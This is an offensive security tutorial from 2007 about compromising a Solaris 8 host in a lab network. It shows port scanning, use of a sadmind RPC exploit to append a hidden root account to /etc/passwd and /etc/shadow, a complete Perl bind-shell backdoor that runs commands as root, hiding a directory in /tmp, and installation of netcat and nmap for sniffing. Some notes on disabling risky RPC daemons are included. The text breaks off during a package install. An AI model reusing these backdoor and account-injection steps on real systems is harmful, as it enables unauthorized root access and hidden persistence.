Tactical Exploitation and Response Over Solaris Sparc 5.8 / 5.9 Systems

[B]ackdooring, [S]niffing, [L]og wiper, [R]ootkiting, [I]ncident [R]esponse, [I]DS Signatures and [C]hecklist.

Date: 20.07.007 06:03:00 am
Reléase: 15.08.007 21:37:00 pm

By Alex Hernandez
ahernandez at sybsecurity dot com

Very special credits to people like:

str0ke (milw0rm.com)
kf (digitalmunition.com)
Rathaus (beyondsecurity.com)
!dSR (segfault.es)
0dd (0dd.com)

and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55, pikah, codebreak, h3llfyr3

--==+==+==--
--==+ **Contents** +==--
--==+==+==--

Introduction 2
Explotation. (RPC vulnerabilities) 2
Backdooring (tcp, udp remote port). 8
Sniffing (dsniff, ttywacher, hijacking,). 9
Log wiper cleaner (uzapper). 26
Rootkiting 29
Incident Response (forensics data). 32
IDS signatures (snort signatures). 38
Checklist 39

--==+==+==--
--==+ **[I]ntroduction** +==--
--==+==+==--

SUN MICROSYSTEMS INC, provides network computing infrastructure solutions that include computer systems, software, storage, and services. Its core brands include the Java technology platform, the Solaris operating system, StorageTek and the UltraSPARC processor.

This document presents a couple of ideas for exploiting weaknesses intermediate advance typical (local and remote) box vulnerabilities. The paper is based on the bypassing of filtration of a common vulnerabilities known as RPC sadmind explotation and common attacks on services / ports also include trick and tips for admins and pent-testers.

--==+==+==--
--==+ **[E]xploitation** +==--
--==+==+==--

An exploit is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial of service attack.

--==+======================================+==--
--==+ Solaris 5.8 VICTIM local info b0x IP:[172.19.4.204] +==--
--==+======================================+==--

```
# uname -a
SunOS netra104 5.8 Generic_108528-18 sun4u sparc SUNW,UltraAX-i2

# ifconfig -a
lo0: flags=1000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4> mtu 8232 index 1
        inet 127.0.0.1 netmask ff000000
dmfe0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
        inet 172.19.4.204 netmask ffffff00 broadcast 172.19.4.255
        ether 0:3:ba:f:a2:45

# rpcinfo -p localhost
   program vers proto   port  service
    100000    4   tcp    111  rpcbind          ← ¿?
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100232   10   udp  32774  sadmind          ← ¿?
    100232   10   tcp  32778  sadmind          ← ¿?
```

```
--==+==================================================+==--
--==+ Debian 2.6.x Intrusa ATTACKER local info b0x IP:[172.19.4.202] +==--
--==+==================================================+==--
```

```
intrusa:/# uname -a
Linux intrusa 2.6.8-2-386 #1 Thu May 19 17:40:50 JST 2005 i686 GNU/Linux

intrusa:/# ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:08:74:92:69:B7
          inet addr:172.19.4.202  Bcast:172.19.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2628100 errors:0 dropped:0 overruns:1 frame:0
          TX packets:1079565 errors:0 dropped:0 overruns:0 carrier:1
          collisions:0 txqueuelen:1000
          Interrupt:201 Base address:0xec80
```

```
--==+=================================================+==--
--==+ Simple  DSI scan port to see vulnerable ports and services  +==--
--==+=================================================+==--
```

```
intrusa:/# nmap -sS -O -v 172.19.4.204 -P0

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2007-07-20 01:53 CDT
Initiating SYN Stealth Scan against 172.19.4.204 [1663 ports] at 01:53
Discovered open port 22/tcp on 172.19.4.204
Increasing send delay for 172.19.4.204 from 0 to 5 due to 18 out of 59 dropped probes since last increase.
Increasing send delay for 172.19.4.204 from 5 to 10 due to max_successful_tryno increase to 4
Increasing send delay for 172.19.4.204 from 10 to 20 due to max_successful_tryno increase to 5
Discovered open port 32778/tcp on 172.19.4.204
Discovered open port 898/tcp on 172.19.4.204
Discovered open port 111/tcp on 172.19.4.204
Discovered open port 32775/tcp on 172.19.4.204
The SYN Stealth Scan took 44.40s to scan 1663 total ports.
For OSScan assuming port 22 is open, 1 is closed, and neither are firewalled
Host 172.19.4.204 appears to be up ... good.
Interesting ports on 172.19.4.204:

(The 1658 ports scanned but not shown below are in state: closed)

PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
898/tcp   open  sun-manageconsole
32775/tcp open  sometimes-rpc13
32778/tcp open  sometimes-rpc19

MAC Address: 00:03:BA:0F:A2:45 (Sun Microsystems)
Device type: general purpose
Running: Sun Solaris 8
OS details: Sun Solaris 8
Uptime 0.095 days (since Thu Jul 19 23:36:24 2007)
TCP Sequence Prediction: Class=random positive increments
                         Difficulty=57477 (Worthy challenge)
IPID Sequence Generation: Incremental

Nmap finished: 1 IP address (1 host up) scanned in 46.632 seconds
               Raw packets sent: 1996 (80.2KB) | Rcvd: 1674 (77.2KB)
```

```
--==+======================================================+==--
--==+ What can I do with apparently non exploitable services? +==--
--==+======================================================+==--
```

```
finally results:

PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
898/tcp   open  sun-manageconsole
32775/tcp open  sometimes-rpc13
32778/tcp open  sometimes-rpc19
```

```
--==+======================+==--
--==+ RPC (Remote Procedure Call) +==--
--==+======================+==--
```

Remote procedure call (RPC) is a technology that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer would write essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question is written using object-oriented principles, RPC may be referred to as remote invocation or remote method invocation.

```
--==+====================+==--
--==+ Port mapper (portmap) +==--
--==+====================+==--
```

The port mapper (rpc.portmap or just portmap) is a service that runs on nodes on the Internet for the purpose of mapping an ONC RPC (Open Network Computing Remote Procedure Call) program number to the network address of the server that listens for the program number.

```
--==+=======================+==--
--==+ Example portmap instance  +==--
--==+=======================+==--
```

This shows the different programs and their versions, and which ports they use. For example, it shows that NFS is running, both version 2 and 3, and can be reached at TCP port 2049 or UDP port 2049, depending on what transport protocol the client wants to use.

```
 $ rpcinfo -p
  program vers proto   port
   100000    2   tcp    111  portmapper
   100000    2   udp    111  portmapper
   100003    2   udp   2049  nfs
   100003    3   udp   2049  nfs
   100003    4   udp   2049  nfs
   100003    2   tcp   2049  nfs
   100003    3   tcp   2049  nfs
   100003    4   tcp   2049  nfs
   100024    1   udp  32770  status
   100021    1   udp  32770  nlockmgr
   100021    3   udp  32770  nlockmgr
   100021    4   udp  32770  nlockmgr
   100024    1   tcp  32769  status
   100021    1   tcp  32769  nlockmgr
   100021    3   tcp  32769  nlockmgr
   100021    4   tcp  32769  nlockmgr
   100005    1   udp    644  mountd
   100005    1   tcp    645  mountd
   100005    2   udp    644  mountd
   100005    2   tcp    645  mountd
   100005    3   udp    644  mountd
   100005    3   tcp    645  mountd
```

```
--==+=============================+==--
--==+ Remote RPC services over victim b0x  +==--
--==+=============================+==--
```

```
intrusa:/# rpcinfo -p 172.19.4.204
  program vers proto   port
   100000    4   tcp    111  portmapper
   100000    3   tcp    111  portmapper
   100000    2   tcp    111  portmapper
   100000    4   udp    111  portmapper
   100000    3   udp    111  portmapper
   100000    2   udp    111  portmapper
   100232   10   udp  32774
   100232   10   tcp  32778
```

```
--==+===========================+==--
--==+ Local RPC services over victim b0x +==--
--==+===========================+==--
```

```
# uname -a
SunOS netra104 5.8 Generic_108528-18 sun4u sparc SUNW,UltraAX-i2

# ifconfig -a
lo0: flags=1000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4> mtu 8232 index 1
        inet 127.0.0.1 netmask ff000000
dmfe0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
        inet 172.19.4.204 netmask ffffff00 broadcast 172.19.4.255
        ether 0:3:ba:f:a2:45

# rpcinfo -p localhost
  program vers proto   port  service
   100000    4   tcp    111  rpcbind          ← vulnerable?
   100000    3   tcp    111  rpcbind
   100000    2   tcp    111  rpcbind
   100000    4   udp    111  rpcbind
   100000    3   udp    111  rpcbind
   100000    2   udp    111  rpcbind
   100232   10   udp  32774  sadmind     ← vulnerable?
   100232   10   tcp  32778  sadmind     ← vulnerable?
```

```
--==+===================================================== +==--
--==+ Sadmind (Solstice AdmnSuite application)                +==--
--==+                                                         +==--
--==+ Issues/inetd/sadmind: Disable distributed system administration daemon  +==--
--==+============================ ======================+==--
```

The sadmind daemon provides remote system administration of the local system and is used by Solstice AdminSuite applications. I've not seen anyone use this at our site and I'm wary about allowing for remote management through tools I've never seen configured -- exactly who can use this service and what can they do to my system? I'd not recommend leaving this service around unless you have determined that you need it -- do you have the Solstice AdminSuite and if so are you using it to monitor this system and if so have you configured it to make sure that only authorized persons can manage the system? Even then you should carefully configure the service and keep up with vendor patches to reduce your risk of compromise.

I can confirm that systems I've hardened run fine without this service.

The sadmind daemon runs as user root and might be compromised. If you don't need it ... don't run it! If you're skeptical that anyone would ever to exploit this service see the recent

--==+====================+==--

--==+ More vulnerable services? +==--

--==+====================+==--

--==+==+==--

--==+ Issues/inetd/cmsd: "rpc.cmsd" Disable calendar manager daemon +==--

--==+==+==--

The rpc.cmsd daemon is started from /etc/inetd.conf. This is the calendar manager daemon. It runs as root so you can update your calendar and peak at others too. Since it runs as root it is a security exposure which might be compromised -- I recall that it has been compromised in the past. The Common Desktop Environment (CDE) is usually configured with a "calendar" icon on the control panel. That icon starts up the CDE Calendar Manager dtcm(1) which needs to find this daemon -- if you disable the daemon this client application will fail miserably. Of course on back-room database servers you won't have users who need this service.

--==+===+==--

--==+ Issues/inetd/metad: Disable "rpc.metad" Disksuite remote metaset services +==--

--==+===+==--

This daemon is part of Disksuite (for mirroring, striping, etc. of devices to make "meta" devices). The manual page doesn't say much:

"rpc.metad is an rpc(4) daemon (functioning as a server process) that is used to manage local copies of metadevice diskset information.The rpc.metad daemon is invoked by inetd."

--==+==+==--

--==+ Issues/inetd/rexd: "rpc.rexd"Disable remote execution +==--

--==+==+==--

Solaris systems arrive with several network services that provide for remote execution of commands -- everyone should know about rsh(1) and rshd(1m). Here's yet another one: The rexd daemon is started from /etc/inetd.conf and peers with the on(1) command. It runs as user root and might be compromised. If you don't need it ... don't run it! I've never had occassion to enable this service. There's a comment in /etc/inetd.conf saying "The rexd server provides only minimal authentication and is often not run". The entry for this service is commented out of /etc/inetd.conf in the vendor configuration. The rpc.rexd script will make sure the service is not started -- it is commented out of /etc/inetd.conf.

--==+==+==--

--==+ Issues/inetd/rstatd: "rpc.rstatd" Disable kernel statistics server +==--

--==+==+==--

The rpc.rstatd daemon gives out performance characteristics of your system and is required for the rup(1) command -- that's something I had never used. There are many other services that provide similar data -- the DMI and SNMP services, the rwhod server as used by the ruptime(1) command, the syslogd "mark" facility and lots more. If you want to monitor systems you probably ought to be using SNMP and abandon this one.

--==+==+==--

--==+ Issues/inetd/rusersd: "rpc.rwalld" Disable network username server +==--

--==+==+==--

The rpc.rusersd gives out a list of current users on your system and peers with the rusers(1) command -- a command I had never used.

When run from my work station I discover:

```
--==+==============================================+==--
--==+ Issues/inetd/rwalld: "rpc.rwalld" Disable network rwall server  +==--
--==+==============================================+==--
```

The rpc.rwalld daemon writes messages to every logged in user -- messages received are handed off to wall(1m). It receives rwall(1m) requests (write to all users on remote systems). NFS servers will use rwall to notify client systems of an impending reboot. If your system has interactive users they'll be notified.

```
--==+=========================================+==--
--==+ Issues/inetd/sprayd: "rpc.sprayd" Disable spray daemon  +==--
--==+=========================================+==--
```

The rpc.sprayd daemon receives RPC packets sent by spray(1) -- that's a ping(1) like tool used to test network connectivity and RPCreliablity (as might be required if you're having NFS problems).

```
--==+==========================================================+==--
--==+ Issues/inetd/ttdbserverd: "rpc.ttdbserverd" Disable ToolTalk database server +==--
--==+==========================================================+==--
```

The rpc.ttdbserverd daemon is the "Tool Talk Data Base Server". It seems to be a required service if you have a Sun console and are running the "Common Desktop Environment" (CDE) but I've found my SunOS5.6 work station runs fine without it! There have been security problems with this tool -- you should not run this in any environment where security is a concern.

```
--==+===============================+==--
--==+ Remote injection (user/root) directly           +==--
--==+ on passwd and shadow files over victim b0x +==--
--==+===============================+==--
```

```
--==+====================+==--
--==+ Data user without privileges  +==--
--==+====================+==--
```

```
passwd
dsi:x:1505:1::/gsoc/home/dsi:/bin/sh

shadow
dsi:mJdJWi9MBli3o:13714::91::::
```

```
--==+===================+==--
--==+ Data user with privileges    +==--
--==+===================+==--
```

```
passwd r00t
alt3kx:x:0:0:Super-User:/:/sbin/sh

shadow r00t
alt3kx:PDTJF4J1jgMes:13714::91::::
```

```
--==+========================================+==--
--==+ Hands on interactive mode exploit RPC sadmind service!!!  +==--
--==+========================================+==--
```

```
intrusa:~/SOLARIS# perl -x x.pl -h 172.19.4.204 -i

xploit> echo "dsi:x:1505:1::/gsoc/home/dsi:/bin/sh" >>/etc/passwd
Success: your command has been executed successfully.

xploit> echo "dsi:mJdJWi9MBli3o:13714::91::::" >>/etc/shadow
```

```
Success: your command has been executed successfully.

xploit> echo "alt3kx:x:0:0:Super-User:/:/sbin/sh" >>/etc/passwd
Success: your command has been executed successfully.

xploit> echo "alt3kx:PDTJF4J1jgMes:13714::91::::" >>/etc/shadow
Success: your command has been executed successfully.

xploit>
```

```
--==+==========================+==--
--==+ Checking the secure shell access owned …+==--
--==+==========================+==--
```

```
intrusa:~/SOLARIS# ssh -l dsi 172.19.4.204

dsi's password:
Authentication successful.
sshd[329]: WARNING: Could not chdir to home directory /gsoc/home/dsi: No such file or directory
Last login: Thu Aug 01 2007 00:16:28 -0600 from localhost
Sun Microsystems Inc.   SunOS 5.8       Generic February 2000
No mail.
Sun Microsystems Inc.   SunOS 5.8       Generic February 2000

$ id
uid=1505(dsi) gid=1(other) <- don't have privileges mmm ?
```

```
--==+=======================+==--
--==+ Checking the r00ted access… +==--
--==+=======================+==--
```

```
$ su alt3kx
Password:
# id
uid=0(root) gid=0(root)          ← w0w! hax0r fux0r! dude :X
```

```
--==+=======================================+==--
 --==+                [B]ackdooring                +==--
--==+=======================================+==--
```

A backdoor in a computer system (or cryptosystem or algorithm) is a method of bypassing normal authentication or securing remote access to a computer, while attempting to remain hidden from casual inspection. The backdoor may take the form of an installed program (e.g., Back Orifice), or could be a modification to a legitimate program.

A backdoor in a login system might take the form of a hard coded user and password combination which gives access to the system.

```
--==+============================+==--
--==+ Local Backdoor Installation over port 90000  +==--
--==+============================+==--
```

```
--------cut----------------------
#!/usr/bin/perl

use IO::Socket;

$sock = new IO::Socket::INET(
LocalPort => 90000,                    ← put any port UDP o TCP
Listen => 1,
Reuse => 1,
Proto => 'tcp') || die "Error creating socket: $!";
```

```
$client = $sock->accept();

print $client "Welcome Master Let's Fuck it.\n";
print $client "%";

while($line = <$client>) {
my @command_line = `$line`;
print $client "@command_line\n";
print $client "%"
}
close($sock);
---------cut---------------------
```

```
# uname -a
SunOS netra104 5.8 Generic_108528-18 sun4u sparc SUNW,UltraAX-i2

# ifconfig -a
lo0: flags=1000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4> mtu 8232 index 1
        inet 127.0.0.1 netmask ff000000
dmfe0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
        inet 172.19.4.204 netmask ffffff00 broadcast 172.19.4.255
        ether 0:3:ba:f:a2:45
```

```
--==+==================+==--
--==+ Execute the backdoor...+==--
--==+==================+==--
```

```
# perl -x bd.pl & <- process like root :-)
```

```
--==+=======================================+==--
--==+ Debian 2.6.x Intrusa ATTACKER test backdoor...  +==--
--==+=======================================+==--
```

```
intrusa:~# uname -a
Linux intrusa 2.6.8-2-386 #1 Thu May 19 17:40:50 JST 2005 i686 GNU/Linux

intrusa:~# nc -vvn 172.19.4.204 90000
(UNKNOWN) [172.19.4.204] 24464 (?) open

Welcome Master Let's Fuck it.            ← w0w hax0r fux0r dude he!
%uname -a
SunOS netra104 5.8 Generic_108528-18 sun4u sparc SUNW,UltraAX-i2

%id
uid=0(root) gid=0(root) ← Wow! hax0r fux0r! dude :X
```

```
--==+============================================+==--
 --==+                    [S]niffing                    +==--
--==+============================================+==--
```

A sniffer (also known as a network analyzer or protocol analyzer or, for particular types of networks, an Ethernet sniffer or wireless sniffer) is computer software or computer hardware that can intercept and log traffic passing over a digital network or part of a network. As data streams travel back and forth over the network, the sniffer captures each packet and eventually decodes and analyzes its content according to the appropriate RFC or other specifications.

```
--==+======================+==--
--==+ First make a hidden directory    +==--
--==+======================+==--
```

```
# cd /tmp
# mkdir ". "                          ← make a hidden directory use "space" more tips "on the wild"
# chmod 777 ". "
# cd ". "

# ls -la
total 66
drwxrwxrwt   4 root     sys         303 Jul 25 02:38 .
drwxrwxrwx   2 root     other       117 Jul 25 02:38 . ← Hidden files sometimes the admins s0x! :X
drwxr-xr-x  25 root     root       1024 Jul 20 08:20 ..
-rw-rw-r--   1 root     sys        5224 Jul 25 01:21 ps_data
drwx------   2 root     root        182 Jul 25 01:21 smc898

# cd ". "
# pwd
/tmp/.
```

```
--==+==================================+==--
--==+ Install packages necessary to sniff the Network +==--
--==+==================================+==--
```

```
--==+===========+==--
--==+ GCC SMCgcc +==--
--==+===========+==--
```

```
# ls -la
total 196816
drwxrwxrwx   2 root     other       290 Jul 20 04:16 .
drwxrwxrwt   7 root     sys         497 Jul 20 04:14 ..
-rwxrwxrwx   1 root     other    94086730 Jul 20 03:06 gcc-3.3.2-sol8-sparc-local.gz
-rwxrwxrwx   1 root     other    6660003 Jul 20 02:52 libgcc-3.3-sol8-sparc-local.gz

# gzip -d gcc-3.3.2-sol8-sparc-local.gz
# pkgadd -d gcc-3.3.2-sol8-sparc-local

The following packages are available:
  1  SMCgcc     gcc
                (sparc) 3.3.2

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCgcc> from </tmp/compiler/gcc-3.3.2-sol8-sparc-local>

gcc
(sparc) 3.3.2

[SNIP]

/usr/local/bin/g++ <linked pathname>
/usr/local/bin/sparc-sun-solaris2.8-c++ <linked pathname>
/usr/local/bin/sparc-sun-solaris2.8-g++ <linked pathname>
/usr/local/bin/sparc-sun-solaris2.8-gcc <linked pathname>
/usr/local/bin/sparc-sun-solaris2.8-gcc-3.3.2 <linked pathname>
/usr/local/bin/sparc-sun-solaris2.8-gcj <linked pathname>
Installation of <SMCgcc> was successful.
[/SNIP]
```

```
--==+=======================+==--
--==+ Try the  gcc Version Information +==--
--==+=======================+==--
```

```
# gcc -v
Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/3.3.2/specs
Configured with: ../configure --with-as=/usr/ccs/bin/as --with-ld=/usr/ccs/bin/ld --dis   nls
Thread model: posix
gcc version 3.3.2
```

```
--==+============+==--
--==+ Libs SMClibgcc +==--
--==+============+==--
```

```
# gzip -d libgcc-3.3-sol8-sparc-local.gz

# pkgadd -d libgcc-3.3-sol8-sparc-local

The following packages are available:
  1  SMClibgcc     lgcc
                   (sparc) 3.3

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMClibgcc> from </tmp/compiler/libgcc-3.3-sol8-sparc-local>

lgcc
(sparc) 3.3
Free Software Foundation
Using </usr/local/lib> as the package base directory.
## Processing package information.
## Processing system information.
   3 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.

The following files are already installed on the system and are being
used by another package:
  /usr/local/lib/libgcc_s.so.1
  /usr/local/lib/libstdc++.a
  /usr/local/lib/libstdc++.la
  /usr/local/lib/libstdc++.so
  /usr/local/lib/libstdc++.so.5
  /usr/local/lib/sparcv9/libgcc_s.so.1
  /usr/local/lib/sparcv9/libstdc++.a
  /usr/local/lib/sparcv9/libstdc++.la
  /usr/local/lib/sparcv9/libstdc++.so
  /usr/local/lib/sparcv9/libstdc++.so.5

Do you want to install these conflicting files [y,n,?,q] y
## Checking for setuid/setgid programs.

Installing lgcc as <SMClibgcc>

## Installing part 1 of 1.
/usr/local/lib/libgcc_s.so.1
/usr/local/lib/libstdc++.a
/usr/local/lib/libstdc++.la
/usr/local/lib/libstdc++.so <symbolic link>
```

```
/usr/local/lib/libstdc++.so.5 <symbolic link>
/usr/local/lib/libstdc++.so.5.0.4
/usr/local/lib/sparcv9/libgcc_s.so.1
/usr/local/lib/sparcv9/libstdc++.a
/usr/local/lib/sparcv9/libstdc++.la
/usr/local/lib/sparcv9/libstdc++.so <symbolic link>
/usr/local/lib/sparcv9/libstdc++.so.5 <symbolic link>
/usr/local/lib/sparcv9/libstdc++.so.5.0.4
[ verifying class <none> ]
Installation of <SMClibgcc> was successful.
```

```
--==+================+==--
--==+ OpenSSL SMCosslg  +==--
--==+================+==--
```

```
# pkgadd -d 3-openssl-0.9.7g-sol8-sparc-local

The following packages are available:
  1  SMCosslg     openssl
                 (sparc) 0.9.7g

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:


[snip]

/usr/local/ssl/misc/CA.sh
/usr/local/ssl/misc/c_hash
/usr/local/ssl/misc/c_info
/usr/local/ssl/misc/c_issuer
/usr/local/ssl/misc/c_name
/usr/local/ssl/openssl.cnf
[ verifying class <none> ]

Installation of <SMCosslg> was successful.

[/snip]
```

```
--==+============+==--
--==+ Netcat SMCnc  +==--
--==+============+==--
```

```
# pkgadd -d 4-nc-110-sol8-sparc-local

The following packages are available:
  1  SMCnc     nc
              (sparc) 110

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCnc> from </tmp/4-nc-110-sol8-sparc-local>

nc
(sparc) 110
Hobbit
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   2 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing nc as <SMCnc>

## Installing part 1 of 1.
/usr/local/bin/nc
/usr/local/doc/nc/Changelog
/usr/local/doc/nc/README
/usr/local/doc/nc/scripts/README
/usr/local/doc/nc/scripts/alta
/usr/local/doc/nc/scripts/bsh
/usr/local/doc/nc/scripts/dist.sh
/usr/local/doc/nc/scripts/irc
/usr/local/doc/nc/scripts/iscan
/usr/local/doc/nc/scripts/ncp
/usr/local/doc/nc/scripts/probe
/usr/local/doc/nc/scripts/web
/usr/local/doc/nc/scripts/webproxy
/usr/local/doc/nc/scripts/webrelay
/usr/local/doc/nc/scripts/websearch
[ verifying class <none> ]

Installation of <SMCnc> was successful.
```

```
--===+===========+===--
--===+ Using  netcat.. +==--
--===+===========+===--
```

```
# nc
Cmd line: ← wow! hax0r fux0r dude!
```

```
--===+=============+===--
--===+ Nmap SMCnmap  +==--
--===+=============+===--
```

```
# pkgadd -d nmap-3.93-sol8-sparc-local

The following packages are available:
  1  SMCnmap     nmap
                 (sparc) 3.93

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCnmap> from </tmp/nmap-3.93-sol8-sparc-local>

nmap
(sparc) 3.93

This appears to be an attempt to install the same architecture and
version of a package which is already installed.  This installation
will attempt to overwrite this package.

Fyodor
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   57 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.
```

```
Installing nmap as <SMCnmap>

## Installing part 1 of 1.
[ verifying class <none> ]

Installation of <SMCnmap> was successful.
```

```
--==+=============+==--
--==+ Try Nmap…  +==--
--==+=============+==--
```

```
# /usr/local/bin/nmap

Nmap 3.93 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
  -sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
  -sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
  -sV Version scan probes open ports determining service & app names/versions
  -sR RPC scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
  -p <range> ports to scan.  Example range: 1-1024,1080,6666,31337
  -F Only scans ports listed in nmap-services
  -v Verbose. Its use is recommended.  Use twice for greater effect.
  -P0 Don't ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
  -6 scans via IPv6 rather than IPv4
  -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
  -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
  -oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
  -iL <inputfile> Get targets from file; Use '-' for stdin
* -S <your_IP>/-e <devicename> Specify source address or network interface
  --interactive Go into interactive mode (then press h for help)
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES

# /usr/local/bin/nmap -V

nmap version 3.93 ( http://www.insecure.org/nmap/ ) <- w0w hax0r fux0r dude!!
```

```
--==+===============+==--
--==+ Xterm SMCxterm  +==--
--==+===============+==--
```

```
# gzip -d 7-xterm-223-sol8-sparc-local.gz
# pkgadd -d 7-xterm-223-sol8-sparc-local

The following packages are available:
  1  SMCxterm     xterm
                  (sparc) 223

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCxterm> from </tmp/7-xterm-223-sol8-sparc-local>

xterm
(sparc) 223
```

```
X Windows Project
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   5 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing xterm as <SMCxterm>

## Installing part 1 of 1.
/usr/local/bin/resize
/usr/local/bin/uxterm
/usr/local/bin/xterm
/usr/local/doc/xterm/INSTALL
/usr/local/doc/xterm/MANIFEST
/usr/local/doc/xterm/README
/usr/local/doc/xterm/README.i18n
/usr/local/doc/xterm/README.os390
/usr/local/doc/xterm/Tests
/usr/local/lib/X11/app-defaults/UXTerm
/usr/local/lib/X11/app-defaults/XTerm
/usr/local/lib/X11/app-defaults/XTerm-color
/usr/local/man/man1/resize.1
/usr/local/man/man1/xterm.1
[ verifying class <none> ]

Installation of <SMCxterm> was successful.
```

```
--==+==========+==--
--==+ Xft SMCxft  +==--
--==+==========+==--
```

```
# pkgadd -d xft-2.1.2-sol8-sparc-local

The following packages are available:
  1  SMCxft     xft
                (sparc) 2.1.2

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCxft> from </tmp/xft-2.1.2-sol8-sparc-local>

xft
(sparc) 2.1.2
Keith Packard
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   6 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing xft as <SMCxft>

## Installing part 1 of 1.
/usr/local/bin/xft-config
/usr/local/doc/xft/COPYING
/usr/local/doc/xft/ChangeLog
```

```
/usr/local/doc/xft/INSTALL
/usr/local/doc/xft/README
/usr/local/include/X11/Xft/Xft.h
/usr/local/include/X11/Xft/XftCompat.h
/usr/local/lib/libXft.a
/usr/local/lib/libXft.la
/usr/local/lib/libXft.so <symbolic link>
/usr/local/lib/libXft.so.2 <symbolic link>
/usr/local/lib/libXft.so.2.1.1
/usr/local/lib/pkgconfig/xft.pc
/usr/local/man/man3/Xft.3
[ verifying class <none> ]

Installation of <SMCxft> was successful.
```

```
--==+=============+==--
--==+ Expat SMCexpat +==--
--==+=============+==--
```

```
# pkgadd -d expat-1.95.5-sol8-sparc-local

The following packages are available:
  1  SMCexpat     expat
                  (sparc) 1.95.5

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:

[/snip]´
```

```
--==+=================+==--
--==+ Fontconfig SMCfontc  +==--
--==+=================+==--
```

```
# pkgadd -d fontconfig-2.4.2-sol8-sparc-local

The following packages are available:
  1  SMCfontc     fontconfig
                  (sparc) 2.4.2

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:

Processing package instance <SMCfontc> from </tmp/fontconfig-2.4.2-sol8-sparc-local>

fontconfig
(sparc) 2.4.2
Keith Packard and Patrick Lam
Using </usr/local> as the package base directory.

[/snip]
```

```
--==+===============+==--
--==+ Fonttype SMCftype +==--
--==+===============+==--
```

```
# pkgadd -d freetype-2.3.1-sol8-sparc-local

The following packages are available:
  1  SMCftype     freetype
                  (sparc) 2.3.1
```

```
Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:

Processing package instance <SMCftype> from </tmp/freetype-2.3.1-sol8-sparc-local>

freetype
(sparc) 2.3.1
The Freetype Team
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   6 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing freetype as <SMCftype>

## Installing part 1 of 1.
/usr/local/bin/freetype-config
/usr/local/doc/freetype/ChangeLog
/usr/local/doc/freetype/ChangeLog.20
/usr/local/doc/freetype/ChangeLog.21
/usr/loca

[ verifying class <none> ]

Installation of <SMCftype> was successful.
```

```
--==+===============+==--
--==+ Render SMCrender  +==--
--==+===============+==--
```

```
# pkgadd -d render-0.8-sol8-sparc-local

The following packages are available:
  1  SMCrender     render
                  (sparc) 0.8

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:

[/snip]
```

```
--==+==============+==--
--==+ Xrend SMCxrend  +==--
--==+==============+==--
```

```
# pkgadd -d xrender-0.8.3-sol8-sparc-local

